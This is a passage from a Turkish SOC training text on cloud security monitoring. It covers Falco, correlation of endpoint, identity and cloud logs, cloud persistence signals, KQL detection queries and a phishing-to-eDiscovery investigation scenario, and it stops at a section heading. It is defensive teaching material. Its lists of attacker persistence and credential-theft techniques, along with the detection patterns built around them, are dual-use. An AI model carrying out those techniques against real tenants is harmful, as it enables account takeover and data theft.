Falco, cloud-native runtime security için kullanılan açık kaynaklı bir güvenlik aracıdır. Falco temelde kernel event/syscall kaynaklı runtime davranışlarını izler; eBPF veya kernel module ile çalışabilir. Ayrıca plugin mimarisiyle Kubernetes audit events ve bazı cloud activity kaynaklarından da event alabilir. Falco dokümantasyonu aracı host, container, Kubernetes ve cloud ortamlarında runtime güvenlik için konumlandırır.

Falco’nun SOC açısından değeri şudur: “container içinde shell spawn edildi”, “hassas dosyaya yazma yapıldı”, “beklenen dışında bir binary çalıştırıldı” gibi sinyalleri Kubernetes audit log’un ötesinde, gerçek process/syscall seviyesinde görebilmek. Bu sinyaller SIEM’e iletilebilir ve diğer cloud/kimlik loglarıyla korelasyon kurulabilir.

Falco kuralları condition ve output yapısıyla çalışır. SOC ekibi Falco çıktısını ham alarm olarak değil, investigation başlatıcı sinyal olarak değerlendirmelidir. False positive oranı uygulama, namespace, container image, CI/CD süreci ve runtime baseline’a göre tuning gerektirir.

7.4.6 Vulnerability Context ile Alarm Önceliklendirme

Trivy, Grype, Snyk Container, Defender for Cloud, Wiz veya benzeri araçlar container image’larındaki bilinen zafiyetleri ve misconfiguration bulgularını raporlayabilir. Bu bulgular bazı kurumlarda SIEM/SOAR veya ticketing sistemine doğrudan finding olarak akar; bazı kurumlarda ise yalnızca vulnerability management platformunda tutulur.

SOC açısından önemli ayrım şudur: vulnerability bulgusu tek başına compromise kanıtı değildir. Ancak runtime alarm ile birlikte görüldüğünde öncelik artıran bir risk bağlamıdır.

Örnek: Bir container’dan şüpheli dış bağlantı alarmı geldi. SOC bu container image’ında kritik ve exploit edilebilir bir CVE olduğunu vulnerability tarama raporundan görüyorsa alarmın önceliği artar. Zaten exploit edilmiş olabilecek bir zafiyet üzerinden aktivite görülüyorsa bu senaryo daha ciddi değerlendirilmelidir.

Bu yaklaşım detection engineering’de risk-based detection mantığıyla örtüşür: tekil bir sinyali değil, sinyali çevreleyen bağlamı bir bütün olarak değerlendirmek gerekir.

7.5 Hibrit Ortamlarda Endpoint, Cloud ve Identity Korelasyonu

7.5.1 Endpoint ve Cloud Identity İlişkisini Kurma

Bir saldırgan kurbanın kurumsal cihazına erişirse oradan cloud kimlik bilgileri, Entra ID token’ları, AWS credential dosyaları, service principal secret’ları veya browser session artifact’ları çalabilir ve bulut üzerinde aktivite başlatabilir. Bu senaryoda olay iki farklı ortamda paralel iz bırakır: endpoint tarafında şüpheli process veya credential access davranışı, cloud tarafında olağan dışı kimlik aktivitesi.

SOC bu ilişkiyi kurmak için username, UPN, device ID, IP, user agent, timestamp ve session/correlation ID gibi pivot noktalarını kullanır. Endpoint üzerindeki kullanıcı adı cloud kimlik log’undaki kullanıcı adıyla eşleşiyor mu? Endpoint aktivitesinin zamanı cloud aktivitesinin zamanı ile örtüşüyor mu? Endpoint’in IP’si ile cloud’a giriş yapılan IP aynı mı, farklı mı? Cloud aktivitesi endpoint alarmından hemen sonra mı başlıyor?

Mini Örnek:
EDR alarmı: DESKTOP-TEST01 üzerinde testuser hesabıyla credential file access davranışı, 14:23.
CloudTrail logu: testuser IAM kimliğiyle ListBuckets ve GetObject çağrıları, 14:31, IP: eğitim senaryosundaki dış IP.
SOC, timeline’ı birleştirerek endpoint ve cloud tarafındaki iki ayrı sinyali aynı vaka kapsamında değerlendirmelidir.

7.5.2 Network ve Cloud Access İlişkisini Kurma

Proxy logları veya firewall logları, bir endpoint’ten cloud API endpoint’lerine yapılan HTTP/HTTPS isteklerini gösterebilir. Bu trafik normal kullanıcı veya uygulama aktivitesi olabilir; ancak anormal hacim, alışılmadık hedef API endpoint’i, beklenmedik user agent veya VPN dışı erişim araştırılması gereken sinyallerdir.

VPN logları da bu korelasyonda önemlidir. Kullanıcı kurumsal VPN’e bağlı değilken bulut kaynaklarına erişiyor mu? VPN üzerinden ve VPN dışından eş zamanlı oturum var mı? Aynı IP hem endpoint trafiğinde hem cloud sign-in loglarında görünüyor mu? Ağ tarafındaki bağlam, kimlik loglarındaki bağlamla birleştirildiğinde olayın gerçek mi yoksa normal mi olduğuna dair çok daha net bir tablo çıkar.

7.5.3 Email, Identity ve Endpoint Zincirini Analiz Etme

Phishing ile başlayan saldırı senaryoları genellikle üç katmanda iz bırakır: email, kimlik ve endpoint. Email tarafında zararlı link veya ek; kimlik tarafında phishing sayfasından toplanan credential veya token ile oturum açma; endpoint tarafında ise link tıklama sonrası process veya browser artifact’ları görülebilir.

Email güvenlik platformlarından SOC’a gelen link click veya attachment open logları başlangıç noktasıdır. Hangi kullanıcı, hangi link’i, ne zaman tıkladı? Ardından Entra ID Sign-in loglarında aynı kullanıcı için olağan dışı oturum açma var mı? Endpoint’te zararlı bir process başlatılmış mı? Kullanıcının mailbox veya SaaS aktivitelerinde hassas veri arama/indirme davranışı var mı?

Bu zinciri SIEM’de kurmak için ortak pivot noktası genellikle userPrincipalName veya email adresidir. Zaman penceresi genellikle dakikalar ile birkaç saat arasındadır; bu nedenle timeline oluşturmak kritiktir.

7.5.4 Cloud Persistence Sinyallerini Tespit Etme

Saldırganlar cloud ortamında persistence sağlamak için farklı yollar kullanır. Bunlar klasik endpoint persistence mekanizmalarından farklı görünür; ancak kavramsal olarak aynı amaca hizmet eder: erişimi kaybetmemek.

Cloud persistence sinyalleri şunlardır:

Yeni IAM kullanıcısı veya access key oluşturma: Saldırgan elde ettiği erişimle arka kapı hesap veya key oluşturabilir.

Yeni app registration veya service principal: Azure/Entra ortamında OAuth uygulaması veya service principal aracılığıyla uzun süreli erişim sağlanabilir.

Service principal credential ekleme: Mevcut bir uygulama kimliğine secret/certificate credential eklenmesi cloud persistence açısından kritik sinyaldir.

Role binding veya policy değişikliği: Düşük yetkili kimliğe yüksek yetki atama veya policy kapsamını genişletme.

Suspicious storage policy değişikliği: S3 bucket policy, ACL veya Azure/GCP storage erişim politikasını dış erişime açmak.

Lambda function veya cloud function oluşturma: Sunucusuz ortamda kalıcı veya tetiklenebilir kod çalıştırma mekanizması.

IAM role trust policy değişikliği: Dışarıdan AssumeRole yapılabilecek şekilde trust ilişkisi değiştirme.

GCP service account key creation: Service account için yeni key oluşturulması ve uzun ömürlü erişim sağlanması.

Workload identity / federation değişiklikleri: Harici kimliklerin cloud kaynaklarına erişmesini sağlayan federasyon yapılandırmalarının değiştirilmesi.

Bu sinyallerin önemli bölümü CloudTrail, Azure Activity Logs, Entra Audit Logs, GCP Audit Logs veya SaaS audit loglarında görünür. Detection engineering açısından bu event’ler için belirli bağlam koşullarıyla alert kuralları oluşturulmalıdır: kim yaptı, hangi kaynakta yaptı, hangi scope’ta yaptı, hangi saat aralığında yaptı, bu kimlik için beklenen bir davranış mı?

7.5.5 Cloud Detection Engineering ile API Davranışlarını Tespit Kuralına Dönüştürme

Cloud ortamında detection engineering, endpoint detection’dan farklı bir sorgulama mantığı gerektirir. Endpoint’te süreç adı, komut satırı argümanı veya dosya yolu sorgularsınız; cloud’da API method adı, kaynak tipi, principal ve bağlam koşulları sorgularsınız.

Örnek cloud detection use case: “Bir IAM kimliği kısa süre içinde hem access key oluşturup hem de STS AssumeRole ile farklı bir role geçiş yaptıysa bu kombinasyon şüphelidir.”

Bu mantık Microsoft Sentinel’de kavramsal olarak şu yaklaşımla ifade edilebilir:

AWSCloudTrail
| where TimeGenerated > ago(1h)
| where EventName in ("CreateAccessKey", "AssumeRole")
| summarize Events = make_set(EventName),
MinTime = min(TimeGenerated),
MaxTime = max(TimeGenerated),
Roles = make_set(tostring(RequestParameters), 10)
by UserIdentityArn, SourceIpAddress
| where set_has_element(Events, "CreateAccessKey")
and set_has_element(Events, "AssumeRole")
| extend TimeDiffMinutes = datetime_diff("minute", MaxTime, MinTime)
| where TimeDiffMinutes < 15

Platform / Araç: Microsoft Sentinel — AWSCloudTrail tablosu üzerinden KQL örneği

Amaç: Kısa sürede hem access key oluşturup hem de role assume eden IAM kimliğini yakalamak.

Beklenen çıktı: Her iki event’i 15 dakika içinde gerçekleştiren IAM kimliklerinin listesi.

Öğrenci çıktıda nereye bakmalı?
UserIdentityArn, SourceIpAddress, RequestParameters, EventName ve varsa userIdentity.accessKeyId / normalize alanlar. Özellikle IP bilinen bir iç sistem mi, CI/CD runner mı, yoksa beklenmedik dış IP mi?

Normal durum: Hiç eşleşme yok veya bilinen CI/CD hesabının kontrollü deployment sırasında eşleşmesi.

Şüpheli durum: İnsan kullanıcısının ya da beklenmedik bir servis hesabının her iki eylemi çok kısa sürede gerçekleştirmesi.

Yanlış yapılandırma / veri kalitesi problemi: CloudTrail’in SIEM’e tam olarak gelip gelmediği, her iki event type’ın ingestion’da olduğu ve RequestParameters / UserIdentityArn alanlarının doğru parse edildiği kontrol edilmelidir.

Yorum: Bu sorgu eğitim amaçlıdır. Production’a alınırken STS AssumeRole event’lerinde requestParameters.roleArn, userIdentity.type, userIdentity.accessKeyId, sessionContext, SessionIssuerUserName, RecipientAccountId, AWSRegion ve errorCode alanları kontrol edilmelidir. Bilinen CI/CD ve deployment hesapları dar kapsamlı allowlist’e alınmadan kural gürültü üretebilir.

7.5.6 Cloud SOC’ta False Positive Yönetimi

Cloud ortamında false positive oranı başlangıçta yüksek çıkabilir. Çünkü bir yönetici cloud console’dan rutin değişiklik yaparken her eylemi alarm üretebilir; CI/CD pipeline’ları otomatik olarak kaynak oluşturup silebilir; otomasyon hesapları gece boyunca API çağrısı yapabilir; service account’lar insan kullanıcılardan çok daha farklı davranış profili üretebilir.

SOC’un bu ortamı anlaması için şunlar yapılmalıdır: bilinen otomasyon hesapları ve service account’ları için dar kapsamlı allowlist veya suppression koşulları oluşturmak; CI/CD pipeline’larının hangi IP’lerden, hangi saatlerde, hangi API’leri çağırdığını belgeleyen baseline tutmak; yönetici aktivitelerini change management kayıtlarıyla karşılaştırmak; cloud identity ve API aktivitelerini varlık kritikliğine göre önceliklendirmek.

Güvenli Alışkanlık: Cloud alarm geliştirirken her zaman şu soruyu sorun: “Bu davranışı kim, ne zaman, neden yapıyor?” Cevap önceden biliniyorsa ve meşruysa, kural bu bağlamı filtreleyecek şekilde tasarlanmalıdır. Ancak yalnızca hesap adına göre allowlist yapmak risklidir. Allowlist; beklenen IP/runner, beklenen zaman aralığı, beklenen API seti, beklenen resource scope, change/deployment ID ve pipeline context gibi bağlamlarla sınırlandırılmalıdır.

Komut & Araç Okuryazarlığı

Örnek 1 — CloudTrail Log Okuma: AWS Console Login Analizi

Komut / Sorgu / Araç Görünümü:

AWSCloudTrail
| where TimeGenerated > ago(24h)
| where EventName =~ "ConsoleLogin"
| extend LoginResult = tostring(parse_json(ResponseElements).ConsoleLogin)
| extend MFAUsed = tostring(parse_json(AdditionalEventData).MFAUsed)
| project TimeGenerated,
UserIdentityType,
UserIdentityArn,
UserIdentityUserName,
SourceIpAddress,
UserAgent,
MFAUsed,
LoginResult,
AWSRegion,
RecipientAccountId
| sort by TimeGenerated desc

Platform / Araç: Microsoft Sentinel — AWSCloudTrail tablosu üzerinden KQL örneği

Amaç: Son 24 saatte AWS Management Console’a giriş yapan root, IAM user veya federated principal aktivitelerini listelemek. AWS CloudTrail ConsoleLogin event’leri IAM user, root user ve federated user sign-in olaylarını kaydeder.

Beklenen çıktı: Kullanıcı kimliği, kaynak IP, giriş zamanı, MFA kullanımı ve başarı/hata durumu.

Öğrenci çıktıda nereye bakmalı?

LoginResult: Success veya Failure.

MFAUsed: MFA kullanılmış mı?

UserIdentityType: Root, IAMUser, FederatedUser veya başka bir kimlik tipi mi?

SourceIpAddress: Bilinen iç IP mi, VPN exit node mu, beklenmedik dış IP mi?

UserAgent: AWS Console web tarayıcısı mı, otomasyon veya farklı istemci mi?

Normal durum: Bilinen kullanıcıların iş saatlerinde, bilinen IP bloklarından ve MFA ile başarılı giriş yapması.

Şüpheli durum: Root hesabının başarılı console login’i, MFA kullanılmayan privileged hesap girişi, bilinmeyen IP’den başarılı giriş, mesai dışı privileged hesap girişi.

Yanlış yapılandırma / veri kalitesi problemi: CloudTrail’in ilgili region/organization kapsamı eksik olabilir veya loglar SIEM’e gelmiyor olabilir. Management event’lerin ve SIEM connector ingestion sağlığının kontrol edilmesi gerekir.

Yorum: Root hesabı günlük operasyonlarda kullanılmamalıdır. Root console login görüldüğünde, özellikle MFA yoksa veya beklenmeyen IP’den geldiyse, en yüksek öncelikli alarm olarak incelenmelidir.

Örnek 2 — Entra ID Sign-in Log: Risky Sign-in Analizi

Komut / Sorgu / Araç Görünümü:

SigninLogs
| where TimeGenerated > ago(7d)
| where RiskLevelAggregated in ("high", "medium")
| extend LocationText = tostring(Location)
| extend StatusText = tostring(Status)
| extend AuthDetails = tostring(AuthenticationDetails)
| project TimeGenerated,
UserPrincipalName,
IPAddress,
LocationText,
ClientAppUsed,
ConditionalAccessStatus,
AuthDetails,
RiskLevelAggregated,
RiskState,
RiskDetail,
StatusText,
AppDisplayName
| sort by TimeGenerated desc

Platform / Araç: Microsoft Sentinel — Entra ID SigninLogs tablosu

Amaç: Son 7 gündeki yüksek/orta riskli interaktif oturumları görmek.

Beklenen çıktı: Kullanıcı adı, IP, lokasyon, uygulama, client app, Conditional Access durumu, MFA/authentication detayları ve risk alanları.

Öğrenci çıktıda nereye bakmalı?

RiskLevelAggregated: High veya Medium oturumlar.

ClientAppUsed: IMAP, POP, SMTP, Exchange ActiveSync, “Other clients” gibi riskli/legacy değerler var mı?

ConditionalAccessStatus: notApplied, failure, success durumları.

AuthenticationDetails: MFA sonucu ve yöntemleri.

RiskDetail / RiskState: Risk sinyalinin durumu.

Normal durum: Hiç risky sign-in yok veya bilinen iş seyahati/VPN ile açıklanabilen lokasyon sapmaları.

Şüpheli durum: Impossible travel + başarılı giriş + yüksek yetkili hesap; riskli IP + MFA anomali + beklenmedik client app kullanımı.

Yanlış yapılandırma / veri kalitesi problemi: Sign-in loglarının SIEM’e gelmemesi, diagnostic settings eksikliği, lisans/connector sınırları, log gecikmesi veya risk detection alanlarının parser tarafından farklı isimle yazılması.

Yorum: Risk sinyali tek başına karar vermez; bağlam her zaman gerekir. Kullanıcı VPN mi kullanıyor, seyahatte mi, cihaz tanıdık mı, aynı IP başka kullanıcılar için de görünüyor mu?

Örnek 3 — Kubernetes Audit Log: Pod İçine Exec Tespiti

Komut / Sorgu / Araç Görünümü:

Platform / Araç: Microsoft Sentinel — AKS / Kubernetes audit log örnek şeması

Amaç: Pod içine interaktif komut çalıştırma (kubectl exec) aktivitelerini tespit etmek.

Beklenen çıktı: Kim, hangi pod’a, hangi namespace’de, hangi kaynak IP’den exec yaptı?

Öğrenci çıktıda nereye bakmalı?

User_Username: İnsan kullanıcısı mı, servis hesabı mı?

ObjectRef_Namespace: Production namespace mi?

ObjectRef_Name: Hangi pod hedeflendi?

ResponseStatus_Code: 101 streaming/websocket upgrade bağlamında başarılı bağlantı sinyali olabilir; ancak tek başarı kriteri olarak kullanılmamalıdır.

Stage: Request lifecycle aşaması.

Normal durum: Tanımlı DevOps kullanıcısının, change kaydı olan zaman aralığında belirli debug pod’larına exec yapması.

Şüpheli durum: Bilinmeyen kullanıcı, production namespace, alışılmadık saat, privileged container üzerinde exec, kısa sürede birden çok namespace’de exec.

Yanlış yapılandırma / veri kalitesi problemi: Audit log policy pods/exec subresource’ünü yakalamayacak seviyede yapılandırılmış olabilir. SOC, audit policy kapsamını ayrıca kontrol etmelidir.

Yorum: Production ortamında interaktif exec nadir ve kontrollü olmalıdır. Görüldüğünde araştırılmalıdır; ancak bazı DevOps/debug süreçleri nedeniyle false positive olabileceği unutulmamalıdır.

Örnek 4 — GCP Audit Log: SetIamPolicy Analizi

Komut / Sorgu / Araç Görünümü:

GCP_Audit_Logs
| where timestamp > ago(48h)
| where protoPayload.methodName has "SetIamPolicy"
| project timestamp,
protoPayload.authenticationInfo.principalEmail,
resource.type,
protoPayload.resourceName,
protoPayload.serviceData.policyDelta,
protoPayload.requestMetadata.callerIp,
protoPayload.status.code

KQL benzeri normalize edilmiş SIEM ortamı — GCP Audit Log alanları üzerinden kavramsal sorgu örneği. Bu sorgu Google SecOps / Chronicle native YARA-L sorgusu değildir. Google SecOps ortamında aynı tespit mantığı UDM alanları ve YARA-L kural/sorgu yapısıyla yeniden modellenmelidir.

Amaç: GCP ortamında IAM policy değişikliklerini izlemek.

Beklenen çıktı: Kimin, hangi kaynakta, ne tür bir policy değişikliği yaptığı.

Öğrenci çıktıda nereye bakmalı?

policyDelta: Eklenen veya kaldırılan binding’ler; roles/owner, roles/editor gibi yüksek yetkili roller eklenmiş mi?

principalEmail: İnsan kullanıcı mı, service account mu?

callerIp: Tanınan yönetici IP’si mi?

resourceName: Project, folder veya organization seviyesinde mi?

Normal durum: Tanımlı yönetici hesabının change management kaydıyla örtüşen policy değişikliği.

Şüpheli durum: Servis hesabı veya bilinmeyen kullanıcıdan gelen SetIamPolicy, dış IP, mesai dışı işlem, project/folder/org seviyesinde beklenmedik role binding.

Yanlış yapılandırma / veri kalitesi problemi: Admin Activity logları GCP tarafından varsayılan olarak yazılır; ancak SIEM’e route edilmemiş olabilir, log sink kapsamı eksik olabilir, yalnızca belirli project/folder logları toplanıyor olabilir veya analistin ilgili log bucket’larına erişim yetkisi olmayabilir.

Yorum: allUsers veya allAuthenticatedUsers gibi public binding ekleniyorsa acil aksiyon gerekir.

Örnek 5 — Hibrit Korelasyon: Endpoint’ten Cloud’a Timeline Sorgusu

Komut / Sorgu / Araç Görünümü:

let TargetUPN = "testuser@example.com";
let TargetSam = "testuser";
let StartTime = datetime(2024-01-15 08:00);
let EndTime = datetime(2024-01-15 12:00);

union isfuzzy=true
(
DeviceEvents
| where Timestamp between (StartTime .. EndTime)
| where DeviceName == "DESKTOP-TEST01"
| where AccountName =~ TargetSam
| project TimeGenerated=Timestamp,
Source="EDR_DeviceEvents",
Account=AccountName,
Entity=DeviceName,
Detail=strcat(ActionType, " / ", tostring(AdditionalFields))
),
(
SigninLogs
| where TimeGenerated between (StartTime .. EndTime)
| where UserPrincipalName =~ TargetUPN
| project TimeGenerated,
Source="EntraID_SignIn",
Account=UserPrincipalName,
Entity=IPAddress,
Detail=strcat(tostring(Location), " / ", tostring(Status))
)
| order by TimeGenerated asc

Platform / Araç: Microsoft Sentinel / Microsoft Defender XDR verileriyle KQL örneği

Amaç: Endpoint üzerindeki credential access davranışını aynı kullanıcının cloud oturum aktivitesiyle ilişkilendirmek.

Beklenen çıktı: İki kaynaktan gelen olayların zaman sıralamasıyla birleştirilmiş görünümü.

Öğrenci çıktıda nereye bakmalı?

Endpoint aktivitesinin zamanı ile cloud girişinin zamanı.

Giriş yapılan IP endpoint’in bulunduğu lokasyonla örtüşüyor mu?

Endpoint alarmından kısa süre sonra cloud oturum aktivitesi başlıyor mu?

Normal durum: Credential access davranışı yoktur veya endpoint olayı meşru yönetim aracıdır; cloud girişi tanımlı VPN IP’sinden bilinen saatlerde gerçekleşir.

Şüpheli durum: Credential access sonrası dakikalar içinde yabancı IP’den cloud girişi.

Yanlış yapılandırma / veri kalitesi problemi: Defender XDR tablolarında zaman alanı Timestamp, Sentinel/Log Analytics tarafında bazı tablolarda TimeGenerated olabilir. Tablo ve alan adları üretim ortamına göre doğrulanmalıdır.

Bu korelasyon, SOC’un iki farklı alarmı birleştirerek “bu aynı olay” kararını verdiği klasik hibrit investigation senaryosudur.

Uygulama / Kontrol Listesi

Cloud SOC Görünürlük ve Alarm Değerlendirme Kontrol Listesi

Hazırlık

SOC ortamınızda hangi cloud platformlarının kullanıldığını belirleyin: AWS, Azure, GCP, SaaS.

Her platform için audit log kaynağı SIEM’e ingestion sağlanmış mı? CloudTrail management events, Azure Activity Logs, Entra ID Sign-in / Audit Logs ve GCP Admin Activity loglarının SIEM’de mevcut olup olmadığını doğrulayın.

CloudTrail multi-region yapılandırılmış mı? Organization trail veya merkezi log account kullanılıyor mu? Data events kritik kaynaklar için etkin mi?

Entra ID diagnostic settings üzerinden Sign-in Logs, Audit Logs, service principal sign-in ve non-interactive sign-in logları Log Analytics Workspace’e yönlendirilmiş mi?

GCP Audit Logs için Admin Activity logları SIEM’e route ediliyor mu? Data Access logları kritik kaynaklar için etkinleştirilmiş mi?

SaaS platformlarından M365, GitHub, Slack gibi audit loglar SIEM’e geliyor mu? Retention, lisans ve permission sınırları biliniyor mu?

Container/Kubernetes ortamları için Kubernetes audit policy, Falco veya EDR runtime telemetry mevcut mu?

Kontrol Adımları

Kimlik ve Oturum Açma

Son 7 günde risk seviyesi medium veya high olarak işaretlenmiş Entra ID oturumları var mı?

AWS root hesabı veya Azure Global Administrator / privileged role sahibi hesaplardan console/portal girişleri olmuş mu?

Aynı kullanıcı için kısa sürede farklı coğrafi lokasyonlardan giriş var mı?

ClientAppUsed alanında IMAP, POP, SMTP, Exchange ActiveSync veya “Other clients” gibi legacy/riskli istemciler görünüyor mu?

MFA push girişimlerinde anormal yoğunluk var mı?

Service principal veya managed identity sign-in loglarında beklenmedik IP, resource veya credential kullanımı var mı?

IAM ve Yetki

Son 24-48 saatte yeni IAM kullanıcısı, access key, role, service principal veya service account key oluşturulmuş mu?

Mevcut bir hesaba yüksek yetkili policy veya role atanmış mı?

Beklenmedik bir AssumeRole, PassRole, Azure role assignment veya GCP SetIamPolicy aktivitesi var mı?

Azure’da service principal credential ekleme, app registration değişikliği veya OAuth consent/delegation değişikliği var mı?

Kubernetes’te yeni ClusterRoleBinding veya RoleBinding oluşturulmuş mu?

Data Erişimi

Kritik S3 bucket’lara veya Azure Storage’a olağan dışı erişim var mı?

AWS Secrets Manager, Azure Key Vault veya GCP Secret Manager erişimi beklenmedik bir kimlikten yapılmış mı?

Kubernetes Secret’larına interaktif list veya get işlemi yapılmış mı?

M365, SharePoint, OneDrive veya eDiscovery üzerinde toplu arama/indirme davranışı var mı?

Container ve Runtime

Production namespace’inde pods/exec aktivitesi var mı?

Privileged container, hostPID, hostNetwork, hostIPC veya hostPath mount içeren pod oluşturma girişimi oldu mu?

Container içinden beklenmedik shell veya script interpreter spawn edilmiş mi?

Falco veya EDR runtime alert’leri cloud identity ve Kubernetes audit loglarıyla korele edildi mi?

Doğrulama

Şüpheli aktivitenin zaman damgasıyla change management kaydını karşılaştırın. Bu işlem planlanmış bir değişikliğin parçası mı?

Aktiviteyi gerçekleştiren kimlik bir otomasyon hesabı veya CI/CD pipeline mı? Bu hesapların normal davranış baseline’ı belgelenmiş mi?

Allowlist yalnızca hesap adına mı dayanıyor, yoksa IP/runner, API seti, resource scope ve deployment ID ile daraltılmış mı?

Aynı kullanıcı veya servis hesabı için endpoint tarafında eş zamanlı anomali var mı?

Access key, service principal veya service account için son kullanım tarihi, oluşturulma tarihi, varsayılan lokasyon ve normal user agent kontrol edildi mi?

Kanıt Notu

Her araştırmada şu bilgileri vaka kaydına ekleyin:

Kaynak log: CloudTrail, Activity Logs, Sign-in Logs, GCP Audit Logs, M365 UAL, Kubernetes audit log vb.

Principal kimliği: user ARN, UPN, service account email, service principal ID.

Kaynak IP, ASN ve mümkünse user agent bilgisi.

Zaman damgası: UTC.

Gerçekleştirilen eylem ve etkilenen kaynak.

Response status / error code: başarılı mı, hata mı?

Eş zamanlı endpoint, kimlik, network veya email sinyali varsa ilişki.

Change management kaydı veya kayıt yokluğu.

Geri Dönüş / Dikkat Edilmesi Gerekenler

Cloud audit logları bazen gecikmeyle SIEM’e ulaşır. Kritik bir olayı araştırırken log’un gerçek zamanlı mı yoksa gecikmeli mi geldiğini doğrulayın.

GeoIP her zaman gerçek lokasyonu göstermez. VPN, proxy, Tor çıkış node’u veya mobil operatör çıkışları lokasyon manipülasyonu/yanıltıcı konum üretebilir.

Otomasyon hesaplarının false positive üretme potansiyeli yüksektir. CI/CD ve deployment araçlarının normal davranış baseline’ını SOC’un iyi bilmesi gerekir.

Cloud persistence tespitinde “yeni kaynak oluşturma” alarmları başlangıçta gürültülü olabilir. Kimin oluşturduğu, hangi saatte ve hangi iş bağlamında oluşturduğu değerlendirilmeden karar verilmemelidir.

TEST-NET IP blokları olan 192.0.2.0/24, 198.51.100.0/24 ve 203.0.113.0/24 eğitim/dokümantasyon adresleridir; gerçek reputation veya Tor sonucu temsil etmez. Gerçek ortamda bu alanlar kurum logundaki gerçek IP/ASN/reputation verileriyle değiştirilmelidir.

Operasyonel Senaryo

Senaryo: SaaS Phishing Sonrası Cloud Pivot Araştırması

Belirti

Microsoft Sentinel’de iki alarm birden yükselmektedir. İlki, Entra ID Sign-in Logs üzerinde çalışan bir detection kuralından gelen “Risky Sign-in — High Severity — Impossible Travel” alarmıdır. Kullanıcı analyst01@example.com, bugün 10:14’te İstanbul’dan başarılı giriş yapmış; 10:29’da aynı hesapla Lagos/Nijerya olarak görünen farklı bir lokasyondan başarılı giriş kaydedilmiştir.

İkinci alarm, 10:32’de aynı kullanıcı adıyla Microsoft 365 Unified Audit Log üzerinden gelen “eDiscovery search activity” alarmıdır. Kurumsal email arşivinde toplu arama yapılmıştır. Bu senaryoda kullanılan dış IP/ASN/reputation bilgileri eğitim amacıyla kurgulanmıştır; gerçek ortamda IP, ASN ve reputation verileri kurum loglarından ve threat intelligence kaynaklarından alınmalıdır.

İlk Düşünce

İki alarm aynı kullanıcıya işaret ediyor ve zamansal olarak birbiriyle örtüşüyor. Hesap ele geçirilmiş olabilir; saldırgan oturum token’ını çalmış ve M365 üzerinde hassas içerik aramaya başlamış olabilir. Ancak şu ihtimaller de göz ardı edilmemelidir: kullanıcı VPN kullanıyor olabilir, seyahatte olabilir, GeoIP hatalı olabilir veya görünen Lagos lokasyonu bir VPN/proxy/Tor çıkış node’una ait olabilir.

Kontrol Edilecek Noktalar

analyst01 için son 30 günde daha önce Lagos/Nijerya veya başka olağandışı lokasyonlardan giriş yapılmış mı?

Kullanıcı kurumsal VPN kullanıyor mu? VPN logları kontrol edilmeli.

İki oturum arasındaki zaman farkı fiziksel seyahate izin veriyor mu? 10:14 İstanbul — 10:29 Lagos arası 15 dakika fiziksel seyahatle açıklanamaz.

eDiscovery aramasında hangi içerik arandı? Arama sorgusu audit log’da mevcut mu?

Bu saatlerde analyst01 hesabıyla M365 dışında başka cloud aktivitesi var mı? Azure Activity Logs, Entra Audit Logs ve AWS CloudTrail kontrol edilmeli.

analyst01 iş tanımı gereği eDiscovery araması yapabilir mi? Bu hesabın normalde bu yetkisi var mı?

Oturum öncesinde MFA yöntemi, security info, authentication method veya device registration değişikliği yapılmış mı?

Kullanılacak Log / Telemetri Kaynakları

Entra ID Sign-in Logs: Her iki oturumun detayı, MFA durumu, Conditional Access sonucu, client app kullanımı.

Identity Protection / risk detection kayıtları: Impossible travel, anonymized IP, anomalous token veya benzeri risk sinyalleri.

Microsoft 365 Unified Audit Log: eDiscovery aramasının detayı; gerçek operation name tenant’taki Purview audit kaydından doğrulanmalıdır.

Entra ID Audit Logs: Son 48 saatte analyst01 için password reset, MFA method ekleme, security info registration veya role değişikliği var mı?

Azure Activity Logs / AWS CloudTrail: analyst01 kimliğiyle cloud tarafında aktivite var mı?

VPN logları: analyst01 bu saatlerde VPN’e bağlı mıydı?

Email security logs: Kullanıcıya yakın zamanda phishing email, link click veya attachment open olayı var mı?

Bakılacak Alanlar

Sign-in Logs:

IPAddress: Her iki oturumun IP’si ve ASN bilgisi.

Location: country/region, city.

AuthenticationDetails: MFA tamamlandı mı, hangi yöntemle?

ClientAppUsed: Modern browser mı, legacy/riskli client mı?

ConditionalAccessStatus: Policy uygulandı mı?

Risk detection alanları: riskLevelAggregated, riskState, riskDetail, varsa riskEventType.

M365 UAL:

Operation / Activity name: eDiscovery search oluşturma, arama çalıştırma veya export benzeri aktivite.

ObjectId / Case / Search name: Arama nesnesi veya case bilgisi.

Parameters / AuditData: Arama sorgusu, hedef mailbox’lar, sonuç sayısı veya export bilgisi.

Entra ID Audit Logs:

ActivityDisplayName: security info registration, authentication method update, role assignment, app consent veya service principal credential değişikliği.

Toplanacak Kanıt

Her iki Sign-in Log kaydının tam çıktısı: IP, lokasyon, MFA durumu, risk sinyali, Conditional Access sonucu.

eDiscovery aramasının sorgu detayı ve aranan mailbox listesi.

analyst01 hesabı için son 7 günlük oturum geçmişi.

VPN log’u: bu saatlerde VPN bağlantısı var mı?

Varsa eş zamanlı cloud aktivitesi: Azure, AWS veya SaaS.

Entra ID’de son 48 saatte hesap üzerinde yapılan değişiklik var mı?

Email security log: phishing link click veya attachment open var mı?

Analiz

Sign-in Logs incelendiğinde şu tablo ortaya çıkıyor: 10:14 İstanbul oturumu, bilinen iş yerinin IP bloğundan, MFA başarılı. 10:29 oturumu, GeoIP tarafından Lagos/Nijerya olarak konumlanan bir IP’den geliyor; ASN bilgisi Tor/VPS/hosting sağlayıcısı ile ilişkili görünüyor. MFA başarılı görünüyor. Bu, MFA’nın gerçekten güvenli şekilde tamamlandığı anlamına gelmeyebilir; AiTM phishing, token theft veya MFA fatigue senaryoları hâlâ değerlendirilmelidir.

eDiscovery audit kaydına bakıldığında, arama “salary” ve “contract” anahtar kelimeleriyle kurumsal email arşivinde yapılmış ve yüksek sayıda sonuç döndürmüştür. analyst01 iş tanımı IT güvenlik analisti olarak görünmektedir; eDiscovery yetkisi normalde hukuk ve uyum ekibine ait olmalıdır. Bu nedenle yetkinin neden bu hesapta olduğu ayrıca araştırılmalıdır.

VPN log kontrolünde bu saatlerde analyst01 için VPN bağlantısı kaydı yoktur.

Entra ID Audit Logs incelendiğinde bu sabah 08:47’de analyst01 için MFA/authentication method değişikliği yapıldığı görülmektedir. Değişikliği başlatan kimlik yine analyst01 olarak görünmektedir. Bu, kullanıcının kendisi tarafından yapılmış meşru bir değişiklik olabilir; ancak hesap ele geçirildikten sonra saldırganın persistence için yeni MFA yöntemi eklemesi de olabilir.

False Positive İhtimali

